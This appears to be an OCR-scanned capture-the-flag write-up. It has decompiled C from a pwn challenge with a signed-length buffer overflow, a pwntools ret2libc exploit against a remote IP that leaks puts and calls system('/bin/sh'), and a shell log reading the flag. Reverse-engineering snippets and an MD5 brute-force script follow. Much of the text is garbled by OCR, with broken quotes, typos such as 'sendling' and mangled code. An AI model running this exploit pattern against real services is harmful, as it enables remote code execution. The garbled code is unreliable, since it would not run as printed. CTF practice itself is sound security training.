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1 int _ cdecl main(int argc, const char **argv, const char **envp)
2 {
3| char s[20]; // [esp+Bh] [ebp-28h] BYREF
A4 int v5; f/ [esp+14h] [ebp-14h]
5| int wv6; ff [esp+18h] [ebp-16h]
6| int v7; [/ [esp+1Ch] [ebp-Ch]
7| int *p_argc; // [esp+20h] [ebp-8h]
8
9| p_argc = &argc;
18| dinit();
11| strcpy(s, "welcome the world!");
12§ =}13] =85
13 vh = B;
14 ve = 8;
15 vio= 8;
16| _nut={=)-
17 || printf("input world tag: ");
18 || _ isoc99 scanf("%7s", &tag);
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return 8;

}

int work()

1
char buf[48]; // [esp+Ch] [ebp-3Ch] BYREF
size t nbytes; // [esp+3Ch] [ebp-Ch]

nbytes = read_int();

if ( (int)nbytes > 48 )
return puts("To large!!!");

printf{"leave me a msg:");

return read{(®, buf, nbytes);
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[*] Switching to interactive mode

1ls

§ ] Sent 0x3 bytes:
b'ls\n'

[ ] Received 0x17 bytes:
b'entrypoint.sh\n'
b'flagyn’
b'pwn\n’

entrypoint.sh

flag

pwn

cat flag

[ ] Sent 8x9 bytes:
b'cat flag\n'

§ ] Received 0x1 bytes:
b'\n'

FNAESNEELI flag EERAE flag &

cat flag
f044c30e0f7b6d9e730e
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from pwn import=*
#context(log_level="debug")

p = remote('124.71.135.126',30029)
#p = process(./pwn’)

elf = ELF("./pwn’)

libc = ELF('./libc-2.27.s0")

# gdb.attach(p)

# pause()

p.recvuntil('input world tag: ")
p.sendline(‘'aaa’)

p.sendling(’-1")
p.recvuntil('leave me a msg:')

puts_plt = elf.plt['puts']

puts_got = elf.got['puts']

tag_addr = 0x804C030

main = 0x804943A

payloadl = b'a'*48 + b'b*Oxc + p32(Oxdeadbeef) + p32(puts plt) + p32(main) +
p32(puts_got)

p.send(payloadl)

puts_addr = u32(p.recv(4))

libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']

bin_sh = libc_base + libc.search(b'/bin/sh’).__next_ ()

p.recvuntil('input world tag: ")
p.sendline(‘'aaa’)

p.sendling(’-1")

p.recvuntil('leave me a msg:')

payload2 = b'a'*48 + b'b'*Oxc + p32(0Oxdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) +
p32(bin_sh)

p.send(payload?)

p.interactive()

# find / -type f -name "flag” A8k flag FF K XEEXIM AR E flag L
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sub_40100A( ) ;

printf("input

((void (__cdecl :

if ( strlen(input)

{
check_format(input);
nothing();
remove_dash(input, '-');
nothing();
strncpy(input _all, &input[5], 32u);
input_all[32] = @;
partl_encode(input_all);
strncpy(part2, &input[18], 18u);
part2[18] = @;
MD5_enc(part2);
base64_enc(part2);
strncpy(part2, &input[4@], 1lu);
part2[1] = @;
v3 = sub _481019(part2);
sub_401032(v3);
wrong_flag();
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#include <iostream>

void reverse_sub_402CEOQ(int result) {
int v3[13] = {'f','4','3",'1",'4',"9", "™, "<, =" h T 8

for(inti=0;i<13; ++i){
char decrypted_char;
if(i%2==1){
decrypted_char = static_cast<char>((2 * i) / (result & OxFF) A v3[i]);
}else{
decrypted_char = static_cast<char>(i  (result & OxFF) N v3[i]);

std::cout << decrypted_char;

std::cout << std:endl;

int main() {
int result = 0; // Replace with the actual result you want to decrypt
reverse_sub_402CEO(result);




return O;
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import hashlib
import itertools

prefix = "f47813c26594¢0"
charset = "0123456789abcdefghijklmnopgrstuvwxyz"
missing_chars = 4

for combination in itertools.product(charset, repeat=missing_chars):
candidate = prefix + ",join(combination)
md>5_hash = hashlib.md5(candidate.encode()).hexdigest()
if md5_hash == "3fbac491c4740226ec9238c20b6d27d3":
print(f"Found match: {candidate}")
break
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